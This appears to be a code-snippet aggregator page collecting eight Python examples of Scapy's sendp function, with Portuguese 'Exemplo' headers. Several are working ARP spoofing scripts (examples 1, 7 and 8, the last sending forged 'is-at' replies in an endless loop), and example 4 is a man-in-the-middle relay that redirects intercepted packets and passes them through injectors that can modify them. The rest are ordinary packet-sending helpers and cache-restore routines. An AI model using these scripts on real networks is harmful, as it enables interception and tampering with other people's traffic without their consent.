Exemplo n.º 1
0
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = ARP(op=2,
                 pdst=target_ip,
                 hwdst="08:00:27:a1:d5:22",
                 psrc=spoof_ip)
    sendp(packet, verbose=False)
Exemplo n.º 2
0
def restore(dest_ip, source_ip):
    dest_mac = get_mac(dest_ip)
    source_mac = get_mac(source_ip)
    packet = ARP(op=2,
                 pdst=dest_ip,
                 hwdst=dest_mac,
                 psrc=source_ip,
                 hwsrc=source_mac)
    sendp(packet, count=4, verbose=False)
Exemplo n.º 3
0
    def sendPacket(self, times, delay):

        frame = self.getFrame()

        for t in range(times):
            l2.sendp(frame,
                     return_packets=True,
                     verbose=False,
                     iface=self.comboInterfacesBox.currentText())
            time.sleep(delay / 1000)
Exemplo n.º 4
0
    def _handle_packet(self, packet):
        # type: (Ether) -> None

        # Get the string version of all filters
        as_string = self.packet_filter.to_string(packet)
        if as_string is not None:
            if self.output_frame is not None:
                update = as_string.splitlines()
                for update_str in update:
                    self.output_frame.update_output(update_str, append=True)
                # self.output_frame.insert_empty_line()
            else:
                print("vvvvvvvvvvvvvvvvvvvvvv")
                print(as_string)
                print("^^^^^^^^^^^^^^^^^^^^^^")

        # Only consider packets with an IP part.
        ip = packet.getlayer('IP')
        if ip is not None:
            # Do not relay packets for or from ourselves
            if ip.dst in self._attacker_ips or ip.src in self._attacker_ips:
                return

            # Try to lookup the actual mac address of the package
            target_dst = self._ip_to_mac.get(ip.dst)
            if target_dst is None:
                if self.output_frame is not None and self.verbose_mode:
                    status = '\nreceived a packet for an unknown host (%s)\n' % ip.dst
                    self.output_frame.update_output(status, append=True)
                else:
                    print('received a packet for an unknown host (%s)' %
                          ip.dst)
                return

            # Ignore packets which are already targeted correctly, since either we generated
            # them or they are legitimate packets originating from our own host.
            if target_dst.lower() != packet.dst.lower():

                # Allow the injectors to modify the packet
                for injector in self.packet_injectors:
                    result = injector.inject(packet.copy())
                    if result is not None:
                        packet = result

                if self.output_frame is not None and self.verbose_mode:
                    status = '\nredirecting a packet from %s (%s) to %s\n' % (
                        packet.dst, ip.dst, target_dst)
                    self.output_frame.update_output(status, append=True)
                else:
                    print('redirecting a packet from %s (%s) to %s' %
                          (packet.dst, ip.dst, target_dst))
                packet.dst = target_dst
                sendp(packet)
Exemplo n.º 5
0
 def sendQueue(self, times, delay):
     items = self.listWidget_Bottom_Queue.count()
     for t in range(times):
         for i in range(items):
             frame = \
                 rdpcap(
                     os.path.normpath("./" + self.packetsDir + "/" + self.listWidget_Bottom_Queue.item(i).text()))[0]
             l2.sendp(frame,
                      return_packets=True,
                      verbose=False,
                      iface=self.comboInterfacesBox.currentText())
         time.sleep(delay / 1000)
     self.listWidget_Bottom_Queue.clear()
Exemplo n.º 6
0
def send_packet(packet, interface):
    sendp(packet, verbose=False, iface=interface)
Exemplo n.º 7
0
import sys

from scapy.layers.l2 import Ether, ARP, sendp
from scapy.layers.l2 import getmacbyip

if __name__ == '__main__':
    if len(sys.argv) < 3:
        sys.exit(1)
    target_ip = sys.argv[1]
    host = sys.argv[2]
    target_mac = getmacbyip(target_ip)
    host_mac = getmacbyip(host)
    pkt = Ether() / ARP(
        op='is-at', psrc=host, pdst=target_ip, hwdst=target_mac)
    print(pkt.show())
    try:
        sendp(pkt, inter=2, loop=1)
    except KeyboardInterrupt:
        print('Cleaning...')
        sendp(Ether(src=host_mac) / ARP(op='is-at',
                                        psrc=host,
                                        hwsrc=host_mac,
                                        pdst=target_ip,
                                        hwdst=target_mac),
              inter=1,
              count=3)
Exemplo n.º 8
0
#!/usr/bin/python3
import sys
import time
from scapy.layers.l2 import sendp, ARP, Ether

if len(sys.argv) < 3:
    print(sys.argv[0] + ": <target> <spoof_ip>")
    sys.exit(1)

iface = "wlp2s0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(1)